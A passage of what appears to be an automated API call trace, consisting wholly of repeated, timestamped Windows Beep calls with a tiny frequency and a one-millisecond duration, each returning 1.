dwDuration=0x1) returned 1 [0078.465] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.481] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.482] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.488] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.489] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.490] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.491] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.507] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.523] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.540] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.542] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.557] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.575] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.591] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.612] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.612] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.613] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.614] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.615] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.616] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.617] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.619] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.634] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.649] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.666] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.683] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.698] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.714] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.715] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.731] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.747] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.763] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.778] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.779] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.780] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.811] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.828] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.829] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.845] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.860] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.876] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.877] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.878] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.879] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.880] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.881] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.882] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.883] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.884] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.885] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.901] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.917] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.933] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.933] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.934] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.966] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.967] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.968] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.970] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.971] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.972] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.973] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.974] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.976] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.991] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.007] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.023] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.024] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.024] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.040] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.056] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.057] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.058] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.060] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.061] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.062] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.063] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.065] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.066] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.067] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.082] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.098] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.114] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.115] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.131] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.147] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.162] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.164] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.180] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.196] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.212] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.213] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.229] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.244] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.261] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.262] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.263] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.266] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.268] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.271] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.286] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.301] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.350] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.366] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.381] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.382] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.383] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.399] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.414] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.432] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.448] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.463] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.479] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.480] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.481] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.496] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.512] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.528] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.529] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.529] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.531] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.532] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.533] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.535] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.536] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.538] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.569] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.584] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.601] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.622] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.649] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.650] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.651] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.666] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.682] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.683] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.684] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.685] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.687] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.688] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.689] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.690] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.691] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.693] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.708] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.723] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.739] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.740] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.741] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.742] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.743] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.744] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.745] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.746] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.747] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.748] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.749] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.764] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.780] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.797] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.813] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.829] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.845] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.846] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.862] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.878] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.878] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.879] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.880] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.881] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.882] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.883] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.885] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.887] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.904] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.919] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.934] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.935] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.936] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.952] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.968] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.971] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.973] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.973] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.975] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.975] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.976] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.977] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0079.993] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.025] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.026] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.027] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.028] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.029] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.030] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.031] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.033] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.066] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.081] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.082] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.083] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.099] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.114] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.130] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.131] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.132] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.149] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.179] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.180] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.181] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.182] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.183] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.184] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.186] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.212] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.234] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.252] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.269] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.284] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.300] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.350] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.364] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.380] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.381] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.382] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.398] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.413] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.429] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.431] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.446] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.463] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.478] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.479] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.479] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.480] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.481] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.482] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.484] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.504] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.519] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.536] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.536] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.537] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.538] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.539] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.540] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.541] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.542] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.544] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.545] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.560] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.576] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.598] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.601] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.603] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.604] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.612] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.621] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.636] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.652] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.669] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.669] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.701] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.717] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.718] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.734] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.750] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.750] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.751] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.752] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.754] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.754] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.757] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.759] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.775] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.791] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.806] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.807] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.808] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.824] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.840] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.841] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.842] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.842] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.843] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.845] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.848] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.848] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.850] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.865] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.881] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.897] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.898] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.915] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.929] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.945] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.947] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.948] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.964] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.980] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.981] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.982] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.983] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.984] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.986] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.987] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.989] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.989] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0080.991] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.008] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.022] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.037] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.038] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.040] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.042] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.043] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.044] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.045] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.047] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.047] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.063] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.094] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.111] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.111] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.113] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.128] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.144] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.159] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.160] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.177] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.216] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.218] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.219] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.220] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.221] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.222] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.224] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.240] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.271] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.273] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.290] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.304] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.320] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.321] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.322] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.337] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.386] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.402] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.403] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.404] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.405] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.406] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.407] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 